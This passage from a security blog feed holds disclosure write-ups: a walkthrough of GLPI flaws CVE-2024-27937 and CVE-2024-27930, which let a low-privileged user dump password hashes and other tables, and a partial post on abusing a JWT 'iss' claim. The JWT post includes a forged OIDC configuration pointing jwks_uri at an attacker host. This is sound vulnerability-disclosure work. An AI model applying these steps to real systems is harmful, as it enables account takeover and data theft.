<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Injection 1" src="/assets/res/stuff/CVE-2024-27096/glpi_injection_1.png" /></p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Injection 2" src="/assets/res/stuff/CVE-2024-27096/glpi_injection_2.png" /></p>

<p><em>This attack can be performed by a low-privileged user who can only see the tickets (like <code class="language-plaintext highlighter-rouge">post-only</code>)</em></p>

<h2 id="references">References</h2>

<ol>
  <li><a href="https://blog.quarkslab.com/exploiting-glpi-during-a-red-team-engagement.html">Exploiting GLPI during a Red Team engagement</a></li>
</ol>]]></content><author><name></name></author><category term="stuff" /><summary type="html"><![CDATA[Intro A few weeks ago, I discovered during an intrusion test two vulnerabilities affecting GLPI 10.0.12, that was the latest public version at this time. The vendor was notified and released a patch after a couple of days, and I saw in the release notes that someone found an SQL injection in the same version. I was a little bit surprised (and also a bit disappointed to not have found it myself, I have to admit), and I was really curious about the exploitation details. Since the vendor did not disclose them, the only thing I had at this moment was the advisory and a link to the patch, referenced by the CVE bulletin:]]></summary></entry><entry><title type="html">CVE-2024-27937 - CVE-2024-27930 - Walkthrough</title><link href="/stuff/2024/02/29/glpi-pwned.html" rel="alternate" type="text/html" title="CVE-2024-27937 - CVE-2024-27930 - Walkthrough" /><published>2024-02-29T00:00:00+00:00</published><updated>2024-02-29T00:00:00+00:00</updated><id>/stuff/2024/02/29/glpi-pwned</id><content type="html" xml:base="/stuff/2024/02/29/glpi-pwned.html"><![CDATA[<p>I was recently tasked with auditing the application <a href="https://github.com/glpi-project">GLPI</a>, a few days after its latest release (10.0.12 at the time of writing). The latter stands for <em>Gestionnaire Libre de Parc Informatique</em>, and is a french software solution meant to manage various assets, such as machines, software, or licenses.</p>

<p>Since GLPI is a free piece of software, I decided to install my own local instance, and I have to admit, it was really straightforward. After a few minutes, I had it running on a fresh Ubuntu server VM. After a few days of research, a pair of vulnerabilities finally came to light: as a low-privileged user, it was possible to take over the super-admin’s account.</p>

<h2 id="a-first-oddity">A first oddity</h2>

<p>By using the built-in <code class="language-plaintext highlighter-rouge">post-only</code> account, features are quite limited. This account is only allowed to create tickets, but is not supposed to enumerate others users nor to see advanced settings.</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Create ticket in GLPI" src="/assets/res/stuff/glpi/glpi_new_ticket.png" /></p>

<p>However, one can notice a first interesting thing by creating a new ticket, and trying to add watchers: an AJAX call is made to <code class="language-plaintext highlighter-rouge">/ajax/actors.php</code>, returning details about existing users and groups (while the <code class="language-plaintext highlighter-rouge">Users</code> menu was not available to this user) …</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Dropdown with existing users" src="/assets/res/stuff/glpi/glpi_enum_users.png" /></p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Get users in tenant 0" src="/assets/res/stuff/glpi/glpi_tenant0.png" /></p>

<p>One can see that the query contains a parameter named <code class="language-plaintext highlighter-rouge">entity_restrict</code>. If the application is used to manage multiple entities (kind of tenants), it can be abused to enumerate the users of another one, which is not supposed to be permitted. For instance, resending the same request with the <code class="language-plaintext highlighter-rouge">entity_restrict</code> equal to 1 would return additional users, belonging to another entity. This issue is tracked as CVE-2024-27937.</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Get users of tenant 1" src="/assets/res/stuff/glpi/glpi_tenant1.png" /></p>

<p>By taking a look at the source code of <code class="language-plaintext highlighter-rouge">/ajax/actors.php</code>, one can see that such AJAX call would eventually trigger the function <code class="language-plaintext highlighter-rouge">User::getSqlSearchResult</code>, but only the following fields are returned to the user:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$results</span><span class="p">[]</span> <span class="o">=</span> <span class="p">[</span>
    <span class="s1">'id'</span>                <span class="o">=&gt;</span> <span class="s2">"User_</span><span class="nv">$ID</span><span class="s2">"</span><span class="p">,</span>
    <span class="s1">'text'</span>              <span class="o">=&gt;</span> <span class="nv">$text</span><span class="p">,</span>
    <span class="s1">'title'</span>             <span class="o">=&gt;</span> <span class="nb">sprintf</span><span class="p">(</span><span class="nf">__</span><span class="p">(</span><span class="s1">'%1$s - %2$s'</span><span class="p">),</span> <span class="nv">$text</span><span class="p">,</span> <span class="nv">$user</span><span class="p">[</span><span class="s1">'name'</span><span class="p">]),</span>
    <span class="s1">'itemtype'</span>          <span class="o">=&gt;</span> <span class="s2">"User"</span><span class="p">,</span>
    <span class="s1">'items_id'</span>          <span class="o">=&gt;</span> <span class="nv">$ID</span><span class="p">,</span>
    <span class="s1">'use_notification'</span>  <span class="o">=&gt;</span> <span class="nb">strlen</span><span class="p">(</span><span class="nv">$user</span><span class="p">[</span><span class="s1">'default_email'</span><span class="p">]</span> <span class="o">??</span> <span class="s2">""</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="o">?</span> <span class="mi">1</span> <span class="o">:</span> <span class="mi">0</span><span class="p">,</span>
    <span class="s1">'default_email'</span>     <span class="o">=&gt;</span> <span class="nv">$user</span><span class="p">[</span><span class="s1">'default_email'</span><span class="p">],</span>
    <span class="s1">'alternative_email'</span> <span class="o">=&gt;</span> <span class="s1">''</span><span class="p">,</span>
<span class="p">];</span>
</code></pre></div></div>

<p>Interesting, because one could therefore leak personal details of other users, but not sufficient :grin:</p>

<h2 id="dropdowns">Dropdowns</h2>

<p>GLPI creates numerous relationships between objects, with <code class="language-plaintext highlighter-rouge">User</code>s creating <code class="language-plaintext highlighter-rouge">Ticket</code>s about <code class="language-plaintext highlighter-rouge">Computer</code>s, pieces of <code class="language-plaintext highlighter-rouge">Software</code>, etc. The application therefore heavily relies on <em>dropdown list</em> widgets to make it easy, the latter being populated based on the requested object types and user’s rights. For instance, the <code class="language-plaintext highlighter-rouge">/ajax</code> folder contains the following scripts, meant to build such widgets:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">getDropdownFindNum.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">dropdownMassiveActionAddActor.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">dropdownProjectTaskTicket.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">getDropdownUsers.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">dropdownValidator.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">dropdownShowIPNetwork.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">dropdownNotificationEvent.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">dropdownMassiveActionAuthMethods.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">dropdownConnectNetworkPort.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">dropdownConnectNetworkPortDeviceType.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">getDropdownConnect.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">dropdownMassiveAction.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">getDropdownNumber.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">dropdownAllItems.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">dropdownMassiveActionField.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">dropdownUnicityFields.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">getShareDashboardDropdownValue.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">dropdownSoftwareLicense.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">dropdownInstallVersion.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">dropdownMassiveActionOs.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">dropdownTrackingDeviceType.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">dropdownTicketCategories.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">dropdownFieldsBlacklist.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">dropdownNotificationTemplate.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">dropdownTypeCertificates.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">dropdownLocation.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">getAbstractRightDropdownValue.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">dropdownValuesBlacklist.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">dropdownMassiveActionAddValidator.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">dropdownDelegationUsers.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">dropdownConnect.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">getDropdownValue.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">dropdownRubDocument.php</code></li>
  <li><code class="language-plaintext highlighter-rouge">dropdownItilActors.php</code></li>
</ul>

<p>These scripts call routines of the class <code class="language-plaintext highlighter-rouge">Dropdown</code>, which is meant to <em>Print out an HTML “&lt;select&gt;” for a dropdown with preselected value</em>, as said by a comment in the aforementionned class. Normally, these routines are supposed to only display specific types of objects, for example (in <code class="language-plaintext highlighter-rouge">dropdownLocation.php</code>) this one with <code class="language-plaintext highlighter-rouge">Location</code> instances:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">echo</span> <span class="nc">Location</span><span class="o">::</span><span class="nf">dropdown</span><span class="p">([</span>
    <span class="s1">'value'</span>        <span class="o">=&gt;</span> <span class="nv">$locations_id</span><span class="p">,</span>
    <span class="s1">'entity'</span>       <span class="o">=&gt;</span> <span class="nv">$entities_id</span><span class="p">,</span>
    <span class="s1">'entity_sons'</span>  <span class="o">=&gt;</span> <span class="nv">$is_recursive</span><span class="p">,</span>
<span class="p">]);</span>
</code></pre></div></div>

<p>But what if we could ask for a dropdown containing arbitrary objects ?</p>

<h2 id="a-suspicious-parameter">A suspicious parameter</h2>

<p>GLPI offers a lot of menus, and I quickly got overwhelmed by the huge amount of requests that my browser sent. However, a request caught my attention, while trying to link a ticket to another one:</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Link a ticket to another" src="/assets/res/stuff/glpi/glpi_link_ticket.png" /></p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Request to enumerate the tickets" src="/assets/res/stuff/glpi/glpi_link_ticket1.png" /></p>

<p>This request seemed to return a set of objects (<code class="language-plaintext highlighter-rouge">Ticket</code>) with some parameters. Interestingly enough, the field <code class="language-plaintext highlighter-rouge">id</code>, specified with the parameter <code class="language-plaintext highlighter-rouge">displaywith</code>, is returned in the answer. It really sounds like an SQL-query-as-a-service, so what if one asks for the item type <code class="language-plaintext highlighter-rouge">User</code>, displayed with the field <code class="language-plaintext highlighter-rouge">password</code> ?</p>

<p>The file <code class="language-plaintext highlighter-rouge">/ajax/getdropdownValue.php</code> is as follows, forwarding the POST’ed data to <code class="language-plaintext highlighter-rouge">Dropdown::getDropdownValue</code>:</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Code of getdropdownValue.php" src="/assets/res/stuff/glpi/glpi_getdropdownvalue.png" /></p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Code of getdropdownValue.php - 1" src="/assets/res/stuff/glpi/glpi_dropdown_1.png" /></p>

<p>A first check against what is named an <em>IDOR token</em> is made (line 2’619), and if everything goes well, a new object is created based on the advertised <code class="language-plaintext highlighter-rouge">itemtype</code>. If the parameter <code class="language-plaintext highlighter-rouge">displaywith</code> exists, then it persists inside the <code class="language-plaintext highlighter-rouge">$post</code> array, and instructs the function to include specific additional fields in the response. By reading the code thoroughly, one can realise that the POST’ed data are used to build the query without checking the access rights regarding the expected table. So normally, I should have been able to enumerate the table <code class="language-plaintext highlighter-rouge">glpi_users</code> and ask for any field in this table, but obvisouly, there was a catch …</p>

<p><em>N.B. the value of <code class="language-plaintext highlighter-rouge">itemtype</code> is not exactly the name of a DB table. It is supposed to be the name of a PHP class, inherited from the class <code class="language-plaintext highlighter-rouge">CommonDBTM</code>. Each child class is supposed to have its matching DB table, therefore one should set it to <code class="language-plaintext highlighter-rouge">User</code> (the PHP class) to read from the table <code class="language-plaintext highlighter-rouge">glpi_users</code> (or equivalent).</em></p>

<h2 id="a-strange-protection-mechanism">A strange protection mechanism</h2>

<p>To make it work, the request must be authenticated, and this is done with the cookies. Moreover, AJAX calls made through POST need to contain the header <code class="language-plaintext highlighter-rouge">X-Glpi-Csrf-Token</code>. The appropriate value can be found in the <code class="language-plaintext highlighter-rouge">meta</code> tag <code class="language-plaintext highlighter-rouge">glpi:csrf_token</code>, in HTML pages returned by the application:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;meta</span> <span class="na">property=</span><span class="s">"glpi:csrf_token"</span> <span class="na">content=</span><span class="s">"1fed5029e3d6a73af3352791f7ecff41e79c7644cbd89cf41d1b3e46e6ca99b6"</span><span class="nt">&gt;</span>
</code></pre></div></div>

<p>One important thing to notice is that dropdown lists are not directly written inside the HTML pages returned by the server. Instead, a piece of JavaScript code is returned, that would retrieve on-demand the list of the objects to display, and populate the dropdown lists. Therefore, an additional parameter named <code class="language-plaintext highlighter-rouge">_idor_token</code> must be put in the request body sent by JavaScript, in order to prevent from unauthorised access (hence the call to <code class="language-plaintext highlighter-rouge">validatIDOR</code>). The idea is that an <em>IDOR token</em> is tied to an object type, a set of rights, an entity, and for a limited time. Multiple <code class="language-plaintext highlighter-rouge">_idor_tokens</code> can be found in a page (one per dropdown list), and for instance, a first one is used to get the list of the tickets, another one for the list of the users, and another one for the list of the machines.</p>

<p>Different ways exist to obtain an IDOR token, and they can be found by searching for calls to <code class="language-plaintext highlighter-rouge">Session::getNewIDORToken</code> in the source code. One of them is done in <code class="language-plaintext highlighter-rouge">User::dropdown</code>, which can be called from <code class="language-plaintext highlighter-rouge">/ajax/dropdownValidator.php</code>.</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Code to get token for users" src="/assets/res/stuff/glpi/glpi_get_token_user.png" /></p>

<p>In the response, one can see that an IDOR token to enumerate users is returned. However, querying the endpoint <code class="language-plaintext highlighter-rouge">/ajax/getdropdownValue.php</code> by specifying the parameter <code class="language-plaintext highlighter-rouge">_idor_token</code> and <code class="language-plaintext highlighter-rouge">itemtype</code> does not work, and returns a blank page. By debugging the programme, one can realise that it is because of a failing check during the IDOR token validation.</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Get a first IDOR token" src="/assets/res/stuff/glpi/glpi_idor_1.png" /></p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Use first IDOR token, not working" src="/assets/res/stuff/glpi/glpi_idor_2.png" /></p>

<p>To investigate and get clues about what was going wrong, I added a few lines in the file <code class="language-plaintext highlighter-rouge">src/Session.php</code> to print the current state of each IDOR token (not the cleanest way to debug, but easier and sufficient enough):</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Debugging Session::validateIDOR" src="/assets/res/stuff/glpi/glpi_idor_3.png" /></p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Debug log file" src="/assets/res/stuff/glpi/glpi_idor_4.png" /></p>

<p>By taking a look at the debug log, one can realise that the expected token is tied to an associative array with the keys <code class="language-plaintext highlighter-rouge">itemtype</code>, <code class="language-plaintext highlighter-rouge">right</code> and <code class="language-plaintext highlighter-rouge">entity_restrict</code> while our token only contains <code class="language-plaintext highlighter-rouge">itemtype</code>. I then asked for a new token, with the expected claims:</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Obtain complete token" src="/assets/res/stuff/glpi/glpi_idor_5.png" /></p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Enumerate users with valid toen" src="/assets/res/stuff/glpi/glpi_idor_6.png" /></p>

<p><em>N.B: note that the names of the POST parameters and the keys of the expected elements in the array of IDOR tokens are not the same, but this is how it works. To have an appropriate <code class="language-plaintext highlighter-rouge">entity_restrict</code>, the POST parameter to set in the first request is <code class="language-plaintext highlighter-rouge">entity</code>.</em></p>

<p>Now, by setting the parameter <code class="language-plaintext highlighter-rouge">displaywith[]=password</code> (can be specified multiple times), one can therefore extract all the hashes from the database. However, there can be hashed with bcrypt, and if they are strong enough, they might be uncrackable.</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Get passwords hashes" src="/assets/res/stuff/glpi/glpi_get_passwords.png" /></p>

<p>Yay :smile:</p>

<p>Another way to abuse such feature and compromise an account is to extract email addresses (first vulnerability), and ask for a password reset. The token would be stored as <code class="language-plaintext highlighter-rouge">password_forget_token</code> in the DB. The emails addresses are not stored in the same table, but as we saw at the beginning while requesting <code class="language-plaintext highlighter-rouge">/ajax/actors.php</code>, they can be easily obtained.</p>

<h2 id="ask-for-any-table">Ask for any table</h2>

<p>Since IDOR tokens are tied to an item type, one needs to obtain a valid one for each DB table. So far, it was possible because the script <code class="language-plaintext highlighter-rouge">/ajax/dropdownValidator.php</code> could return a piece of code to retrieve the list of the users, but what if we want to dump the content of the table <code class="language-plaintext highlighter-rouge">glpi_configs</code> ? A more generic way to obtain tokens exists, because of an arbitrary object creation. Let’s take <code class="language-plaintext highlighter-rouge">/ajax/cable.php</code> as an example (not the only one):</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Source code /ajax/cable.php to get any token" src="/assets/res/stuff/glpi/glpi_get_token_any.png" /></p>

<p>The item type is taken right from <code class="language-plaintext highlighter-rouge">$_POST["itemtype"]</code>, and the static routine <code class="language-plaintext highlighter-rouge">dropdown</code> is called on the advertised class, meaning that any child of <code class="language-plaintext highlighter-rouge">CommonDBTM</code> could be enumerated. To begin with, a request can be sent to <code class="language-plaintext highlighter-rouge">/ajax/cable.php</code>, specifying the appropriate <code class="language-plaintext highlighter-rouge">action</code> and <code class="language-plaintext highlighter-rouge">itemtype</code> parameters:</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Get an IDOR token for user, arbitrary - 1 " src="/assets/res/stuff/glpi/glpi_any_token_for_user1.png" /></p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Get an IDOR token for user, arbitrary - 2" src="/assets/res/stuff/glpi/glpi_any_token_for_user2.png" /></p>

<p>In the first request, one can see that application returns a token alongside the attributes <code class="language-plaintext highlighter-rouge">right=id</code> and <code class="language-plaintext highlighter-rouge">entity_restrict=-1</code>. In the second request, these attributes must match, otherwise nothing is returned.</p>

<p>Now, let’s retry it with the table <code class="language-plaintext highlighter-rouge">glpi_configs</code>:</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Get an IDOR token for configs -1 " src="/assets/res/stuff/glpi/glpi_any_token_for_configs1.png" /></p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="Get an IDOR token for configs - 2" src="/assets/res/stuff/glpi/glpi_any_token_for_configs2.png" /></p>

<p>This issue is tracked as CVE-2024-27930.</p>

<h2 id="so-what-">So what ?</h2>

<p>In a real world scenario, an attacker might try to enumerate the email addresses to find the admin’s one, ask for a password reset link, and abuse the second vulnerability to recover it. Once connected as super admin, there is a plenty of interesting things to do. I guess that one of the most straightforward ways to RCE is to add a plugin, like <a href="https://github.com/InfotelGLPI/shellcommands">shellcommands</a>.</p>

<p>The issues were reported to the vendor and patched in a few days. Let’s note that the description for CVE-2024-27930 was registered as:</p>

<blockquote>
  <p>GLPI is a Free Asset and IT Management Software package, Data center management, ITIL Service Desk, licenses tracking and software auditing. An authenticated user can access sensitive fields data from items on which he has read access. This issue has been patched in version 10.0.13.</p>
</blockquote>

<p>This is not entirely true, since an authenticated user can access any type of object (child of <code class="language-plaintext highlighter-rouge">CommonDBTM</code>), regardless of their privileges.</p>]]></content><author><name></name></author><category term="stuff" /><summary type="html"><![CDATA[I was recently tasked with auditing the application GLPI, a few days after its latest release (10.0.12 at the time of writing). The latter stands for Gestionnaire Libre de Parc Informatique, and is a french software solution meant to manage various assets, such as machines, software, or licenses.]]></summary></entry><entry><title type="html">From SSRF to authentication bypass</title><link href="/stuff/2023/12/28/jwt_iss.html" rel="alternate" type="text/html" title="From SSRF to authentication bypass" /><published>2023-12-28T00:00:00+00:00</published><updated>2023-12-28T00:00:00+00:00</updated><id>/stuff/2023/12/28/jwt_iss</id><content type="html" xml:base="/stuff/2023/12/28/jwt_iss.html"><![CDATA[<p>I won’t insult you by explaining once again what JSON Web Tokens (JWTs) are, and how to attack them. A plethora of awesome articles exists on the Web, describing attacks such as <code class="language-plaintext highlighter-rouge">none</code> algorithm, algorithm confusion, JWK header injection, and friends … No, I would like to tell you about something a little bit different, akin to a <code class="language-plaintext highlighter-rouge">jku</code> header injection, turning what was looking like an SSRF into an application compromise.</p>

<p>Once upon a time, there was a C# single-page application using JWTs for both authentication and authorisation, being managed by the service <a href="https://auth0.com/">Auth0</a>. To make things more flexible, the address of the validator was not hardcoded, but dynamically retrieved with something like this:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">var</span> <span class="n">jwt</span>       <span class="p">=</span> <span class="k">new</span> <span class="nf">JwtSecurityTokenHandler</span><span class="p">().</span><span class="nf">ReadToken</span><span class="p">(</span><span class="n">token</span><span class="p">);</span>
<span class="kt">var</span> <span class="n">iss</span>       <span class="p">=</span> <span class="n">jwt</span><span class="p">.</span><span class="n">Claims</span><span class="p">.</span><span class="nf">FirstOrDefault</span><span class="p">(</span><span class="n">x</span> <span class="p">=&gt;</span> <span class="n">x</span><span class="p">.</span><span class="n">Type</span> <span class="p">==</span> <span class="s">"iss"</span><span class="p">);</span>
<span class="p">...</span>

<span class="kt">var</span> <span class="n">configManager</span> <span class="p">=</span> <span class="k">new</span> <span class="n">ConfigurationManager</span><span class="p">&lt;</span><span class="n">OpenIdConnectConfiguration</span><span class="p">&gt;(</span><span class="s">$"</span><span class="p">{</span><span class="n">iss</span><span class="p">}</span><span class="s">/.well-known/openid-configuration"</span><span class="p">,</span> <span class="k">new</span> <span class="nf">OpenIdConnectConfigurationRetriever</span><span class="p">());</span>
<span class="kt">var</span> <span class="n">openIdConfig</span>  <span class="p">=</span> <span class="n">configManager</span><span class="p">.</span><span class="nf">GetConfigurationAsync</span><span class="p">().</span><span class="n">Result</span><span class="p">;</span>
<span class="kt">var</span> <span class="n">signingKeys</span>   <span class="p">=</span> <span class="k">new</span><span class="p">[]{</span><span class="n">openIdConfig</span><span class="p">.</span><span class="n">JsonWebKeySet</span><span class="p">.</span><span class="nf">GetSigningKey</span><span class="p">().</span><span class="nf">FirstOrDefault</span><span class="p">(</span><span class="n">x</span> <span class="p">=&gt;</span> <span class="n">x</span><span class="p">.</span><span class="n">KeyId</span> <span class="p">==</span> <span class="n">kid</span><span class="p">)}</span> <span class="p">;</span>
<span class="kt">var</span> <span class="n">tokenParams</span>   <span class="p">=</span> <span class="k">new</span> <span class="n">Microsoft</span><span class="p">.</span><span class="n">IdentityModel</span><span class="p">.</span><span class="nf">TokensTokenValidationParameters</span><span class="p">()</span> <span class="p">{</span>
  <span class="p">...</span>
  <span class="n">IssuerSigningKeyResolver</span> <span class="p">=</span> <span class="n">signingKeys</span>
<span class="p">}</span>
<span class="kt">var</span> <span class="n">claims</span>        <span class="p">=</span> <span class="n">jwt</span><span class="p">.</span><span class="nf">ValidateToken</span><span class="p">(</span><span class="n">jwttoken</span><span class="p">,</span> <span class="n">tokenParams</span><span class="p">,</span> <span class="k">out</span> <span class="kt">var</span> <span class="n">tokenout</span><span class="p">)</span>
</code></pre></div></div>

<p>For those who get pimples while reading C#, this code can be summarised as follows: the URL of the issuer (and thus the verifier) is extracted from the token, and used to build the URL to the OIDC configuration. From there, public keys are fetched, in order to use them for token verification. In other words, it is like having a token claiming “Hey app, go ask this server to verify that I am valid !”. I should have been able to sign a token with my private key, and instruct the vulnerable app to fetch my public key to verify. But of course, there was a catch …</p>

<h2 id="first-try-from-arbitrary-ssrf-to-auth-bypass">First try: from arbitrary SSRF to auth bypass</h2>

<p>By taking a look at a genuine token, I saw what the <code class="language-plaintext highlighter-rouge">kid</code> was supposed to be (let’s say that <code class="language-plaintext highlighter-rouge">"kid": "wow-I-am-the-keyid"</code>). I then created a fake configuration like this, based on the genuine one, and hosted it on my server (notice the <code class="language-plaintext highlighter-rouge">jwks_uri</code>)</p>

<p><strong>openid-configuration</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
  "issuer":"https://v1ct1m.auth0.com/",
  "authorization_endpoint":"https://v1ct1m.auth0.com/authorize",
  "token_endpoint":"https://v1ct1m.auth0.com/oauth/token",
  "device_authorization_endpoint":"https://v1ct1m.auth0.com/oauth/device/code",
  "userinfo_endpoint":"https://v1ct1m.auth0.com/userinfo",
  "mfa_challenge_endpoint":"https://v1ct1m.auth0.com/mfa/challenge",
  "jwks_uri":"https://4tt4ck3r.com/jwks.json",
  "registration_endpoint":"https://v1ct1m.auth0.com/oidc/register",
  "revocation_endpoint":"https://v1ct1m.auth0.com/oauth/revoke",
  "scopes_supported":[
    "openid","profile",...
  ],
...
}
</code></pre></div></div>

<p><strong>jwks.json</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
  "keys":[
    {
      "kty":"RSA",
      "use":"sig","n":" ... here goes the modulus ...",
      "e":"AQAB",
      "kid":"wow-I-am-the-keyid",
      ...
      "alg":"RS256"}
  ]
}
</code></pre></div></div>

<p>I then edited the genuine token and replaced the <code class="language-plaintext highlighter-rouge">iss</code> by my server’s URL, resent a request, and … nothing worked, I only got timeouts. With trial and error, I finally realised that there probably was an allowlisting, preventing the app from contacting arbitrary remote hosts. Only subdomains of Auth0 seem to be allowed, and therefore, I knew what I had to do next: create my own instance !</p>

<h2 id="creating-my-own-auth0-instance">Creating my own Auth0 instance</h2>

<p>The idea was simple: creating my own Auth0 instance, and use it to forge tokens that would be accepted by the vulnerable app. Adjusting claims and users, and it should be fine. Although my first idea was to export my private keys and sign arbitrary tokens, I did not find how to do so.</p>

<h3 id="step-1-creating-a-dummy-app">Step 1: Creating a dummy app</h3>

<p>First thing was to create a dummy application, so that an authentication endpoint would be configured.</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="dummy app" src="/assets/res/stuff/auth0_1.png" /></p>

<p>From the Auth0 dashboard, I modified the <em>Default application</em> by setting some URLs:</p>
<ul>
  <li>callback: http://localhost:3000/callback</li>
  <li>allowed logout: http://localhost:3000</li>
  <li>allowed web origins: http://localhost:3000</li>
</ul>

<p>This <code class="language-plaintext highlighter-rouge">localhost:3000</code> comes from the fact that my dummy app would run on localhost:3000, more on this later.</p>

<h3 id="step-2-create-a-copycat-user">Step 2: Create a copycat user</h3>

<p>Since my goal was to connect as <code class="language-plaintext highlighter-rouge">bob@mail.local</code> on the victim application, I needed to create a fake user with the same username, able to connect on my fake app. It would therefore give me a token for this dummy user, that the victim app would also accept (note that having the same username is not always necessary, but it populates the claims consistently).</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="copycat" src="/assets/res/stuff/auth0_2.png" /></p>

<h3 id="step-3-adding-custom-claims">Step 3: Adding custom claims</h3>

<p>The last challenge was to add custom claims that the victim app was expecting. The article <a href="https://auth0.com/blog/adding-custom-claims-to-id-token-with-auth0-actions/">Adding Custom Claims to ID Tokens with Auth0 Actions</a> describes how to do so, taking as an example the application <a href="https://github.com/auth0-blog/assign-random-dog">assign-random-dog</a>, that is meant to run on <code class="language-plaintext highlighter-rouge">localhost:3000</code>.</p>

<p>Since the application expected a claim <code class="language-plaintext highlighter-rouge">email_address</code>, I configured an <em>Action</em> to do so, adding this claim after user authentication (only for Bob here, because it’s the one I was interested in).</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="action_auth0" src="/assets/res/stuff/auth0_3.png" /></p>

<p>Finally, by deploying the <em>Action</em> and running <code class="language-plaintext highlighter-rouge">npm start</code> in the <code class="language-plaintext highlighter-rouge">assign-random-dog</code> directory on my laptop, it opened the dummy app. Clicking on <code class="language-plaintext highlighter-rouge">Log in</code> redirects to Auth0, asking for the credentials, and I therefore entered Bob’s ones.</p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="dummy app" src="/assets/res/stuff/auth0_dummy.png" /></p>

<p><img width="100%" style="margin-left:auto;margin-right:auto;display:block;" alt="action_auth0" src="/assets/res/stuff/auth0_login.png" /></p>

<p>A successful authentication would redirect to the dummy app, and by visiting the <em>Profile</em> page while taking a look at the requests being sent, one can see that a token is obtained:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
  "access_token": "...",
  "id_token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Im9SSk9IN1ZRclE4a3ZNTnRzZFlMMyJ9.eyJlbWFpbF9hZGRyZXNzIjoiYm9iQG1haWwubG9jYWwiLCJuaWNrbmFtZSI6ImJvYiIsIm5hbWUiOiJib2JAbWFpbC5sb2NhbCIsInBpY3R1cmUiOiJodHRwczovL3MuZ3JhdmF0YXIuY29tL2F2YXRhci8wYmY4NGYwZTQzMmUzZGZkOTY5MWM3YTE0ZDU4ZjgyND9zPTQ4MCZyPXBnJmQ9aHR0cHMlM0ElMkYlMkZjZG4uYXV0aDAuY29tJTJGYXZhdGFycyUyRmJvLnBuZyIsInVwZGF0ZWRfYXQiOiIyMDIzLTEyLTI4VDE5OjU1OjA0LjI1MFoiLCJlbWFpbCI6ImJvYkBtYWlsLmxvY2FsIiw...FRsZFRTMWhyYmt0VlpRPT0ifQ.o2F5z...EO9ZEIMw",
  "scope": "openid profile email",
  "expires_in": 86400,
  "token_type": "Bearer"
}
</code></pre></div></div>

<p>Once decoded, the body contains:</p>

